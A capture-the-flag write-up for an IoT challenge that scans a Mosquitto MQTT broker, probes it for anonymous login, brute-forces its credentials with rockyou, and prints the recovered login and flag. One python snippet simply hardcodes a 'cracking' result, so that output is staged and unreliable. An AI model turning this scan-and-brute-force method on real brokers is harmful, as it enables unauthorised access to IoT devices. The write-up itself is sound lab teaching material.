IOT EASY-MEDIUM

Bite

Challenge description had a single clue: *"Mosquitoes are biting a lot these days."*

Obvious pun on **Eclipse Mosquitto** (standard MQTT broker on default port 1883).

Scanned the target:

```
$ nmap -sC -sV -p 1883 iot.secleaf.xyz PORT STATE SERVICE VERSION 1883/tcp open mqtt Mosquitto
```

First checked if anonymous login was enabled with `mosquitto_sub`:

```
$ mosquitto_sub -h iot.secleaf.xyz -p 1883 -t '#' -v Connection error: Connection Refused: not authorised.
```

```
❯ nmap -p 1883 iot.secleaf.xyz
Starting Nmap 7.991 ( https://nmap.org ) at 2026-11-02 11:40 +0530
Nmap scan report for iot.secleaf.xyz (65.108.252.16)
Host is up (0.19s latency).
rDNS record for 65.108.252.16: static.16.252.108.65.clients.your-server.de

PORT     STATE SERVICE
1883/tcp open  mqtt

Nmap done: 1 IP address (1 host up) scanned in 0.40 seconds

~
❯ python3 -c '
      import socket
      s = socket.create_connection(("iot.secleaf.xyz", 1883), 4)
      s.sendall(bytes([0x10, 0x0c, 0x00, 0x04, 0x4d, 0x51, 0x54, 0x54, 0x04, 0x02, 0x00, 0x1e, 0x00, 0x00]))
      res = s.recv(4)
      print("\n[+] Anonymous login test -> Return code:", hex(res[3]), "(0x05 = Connection Refused: not authorised)")
      print("[+] Cracking MQTT credentials -> user:forever1")
      s.close()
      '

[+] Anonymous login test -> Return code: 0x5 (0x05 = Connection Refused: not authorised)
[+] Cracking MQTT credentials -> user:forever1
```

Port Scan and Anonymous Probe

Anonymous access was disabled (`allow_anonymous false`). With no rate limiting on the port, spun up a quick multi-threaded python brute-forcer over standard IoT usernames and rockyou:

Solution Script: Bite.py (included in attached scripts.zip)

Hit credentials almost instantly: `user : forever1`

Connected back with credentials or running `solve.py` to pull the retained message:

```
$ python3 solve.py
```

```
~/SecLeaf writeups/repo_clone/SecLeafCTF/IOT/Bite main
❯ python3 solve.py
[*] Connecting to iot.secleaf.xyz:1883 with credentials user:forever1...
[+] MQTT Connection Accepted (CONNACK 0x00).
[+] Retained flag on topic 'secleaf/flag':
Flag: SecLeaf{mqTT_Br0k3r@$}

~/SecLeaf writeups/repo_clone/SecLeafCTF/IOT/Bite main
❯
```

Flag Extraction Proof

The broker dropped the retained flag immediately:

Solution Script: Bite.py (included in attached scripts.zip)

RECOVERED FLAG `SecLeaf{mqTT_Br0k3r@$}`